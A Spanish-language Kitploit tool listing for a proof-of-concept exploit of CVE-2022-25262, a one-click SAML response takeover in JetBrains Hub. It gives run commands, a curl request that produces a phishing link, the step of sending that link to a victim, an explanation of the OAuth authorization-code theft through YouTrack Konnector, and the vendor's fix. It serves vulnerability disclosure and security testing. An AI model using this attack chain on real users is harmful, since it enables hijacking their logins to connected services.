Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/yuriisanin/cve-2022-25262
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónRed Teaming
GitHubyuriisanin/cve-2022-25262

CVE-2022-25262

PoC + detalles de la vulnerabilidad para CVE-2022-25262 / toma de control de la respuesta SAML de un solo clic en JetBrains Hub

Ver Repositorio
175hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-25262

PoC + detalles de la vulnerabilidad CVE-2022-25262 | JetBrains Hub: toma de control de la respuesta SAML con un solo clic

  • CVE-2022-25262
    • Requisitos
    • Uso
    • ¿Cómo funciona?
      • Pool de códigos de autorización para el intercambio «OAuth2 -> SAML»
      • Apropiación del código de autorización OAuth2 de YouTrack Konnector (por diseño)
      • Mitigación

Requisitos

  • JetBrains Hub <2022.1.14434
  • JetBrains Hub configurado como IdP SAML
  • Servicio «YouTrack Konnektor» instalado (incluido con YouTrack)

Uso

Instalación y ejecución:

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

  usage: exploit.py [-h] [-p P]

  optional arguments:
    -h, --help  show this help message and exit
    -p P        Uvicorn port
    
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000

Uso:

  1. Usa el endpoint «GET /get-exploit-link» para obtener el enlace del exploit
  2. Envía el enlace a una víctima

Parámetros de consulta:

Obtener el enlace del exploit:

root@kitploit:~
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"

* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
< 
* Connection #0 to host {exploit-host-ip} left intact

{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}

DEMO:

CVE-2022-25262 Demo

¿Cómo funciona?

La debilidad consta de 2 partes:

  • Uso de un pool de códigos de autorización OAuth2 para el proceso de intercambio «OAuth2 -> SAML».
  • Apropiación del código de autorización mediante la integración con YouTrack Konnector.

Pool de códigos de autorización para el intercambio «OAuth2 -> SAML»

El IdP SAML funciona como una extensión de OAuth. Cuando un usuario específico quiere iniciar sesión en un proveedor de servicios concreto, pasa por el flujo de concesión de código de autorización OAuth (peticiones 1-2) y, una vez obtenido el código, lo devuelve a Hub (petición 3). Hub toma la información del usuario asociada al código y emite una respuesta SAML firmada para el servicio. Aunque el IdP SAML utiliza el cliente OAuth2 de Hub (client_id=0-0-0-0-0) para la integración, no comprueba en nombre de qué cliente OAuth se emitió el código. Lo único que importa aquí es si el código es válido. Esto podría desembocar en una toma de control de la respuesta SAML si el atacante encuentra una forma de apropiarse del código de autorización de cualquier cliente OAuth registrado en Hub.

oauth2-saml-exchange

Apropiación del código de autorización OAuth2 de YouTrack Konnector (por diseño)

YouTrack Konnector es un servicio de primera parte que permite conectar una instancia específica de YouTrack con su bot de Slack. El servicio toma la dirección URL de un YouTrack y tanto el id como el secreto del cliente OAuth de Konnector (petición 1). Después intenta verificar que la URL proporcionada apunta a un YouTrack válido llamando a varios endpoints de API (peticiones 2-3 del «handshake»). Si todo va bien, Konnector devolverá la URL que permitiría a un usuario específico continuar con el flujo de concesión de código OAuth (respuesta 1). La URL contiene un parámetro de consulta «state» que ayuda a Konnector a enrutar el código de autorización OAuth al manejador adecuado (la instancia de Hub). Un atacante podría crear un host con los endpoints necesarios para el «handshake» y obtener un parámetro «state» que apunte al host del atacante. Después, el atacante podría construir una URL de autorización OAuth y enviársela a una víctima. Si la víctima hace clic en el enlace y completa el flujo OAuth (la víctima necesita tener una sesión válida en Hub), el servicio Konnector recibirá el código y lo enviará al host del atacante (peticiones 4-6).

slack-service-authz-code-takeover

Mitigación

El equipo de YouTrack añadió una comprobación que permite el uso de códigos de autorización emitidos para el cliente OAuth «JetBrains Hub Service» durante el proceso de intercambio «OAuth2 -> SAML». En consecuencia, no hay forma de intercambiar códigos de autorización emitidos para el cliente OAuth «YouTrack Konnector».

Soporte

Puedes seguirme en Twitter, GitHub o YouTube.

Descargar herramienta
NombreDescripciónObligatorio
hub_urlURL de la instancia de Hub objetivo✅
issuerEmisor SAML✅
acs_urlURL del servicio de consumidor de aserciones✅
youtrack_urlURL de la instancia de YouTrack conectada con Hub (obligatorio si el usuario invitado está deshabilitado)❔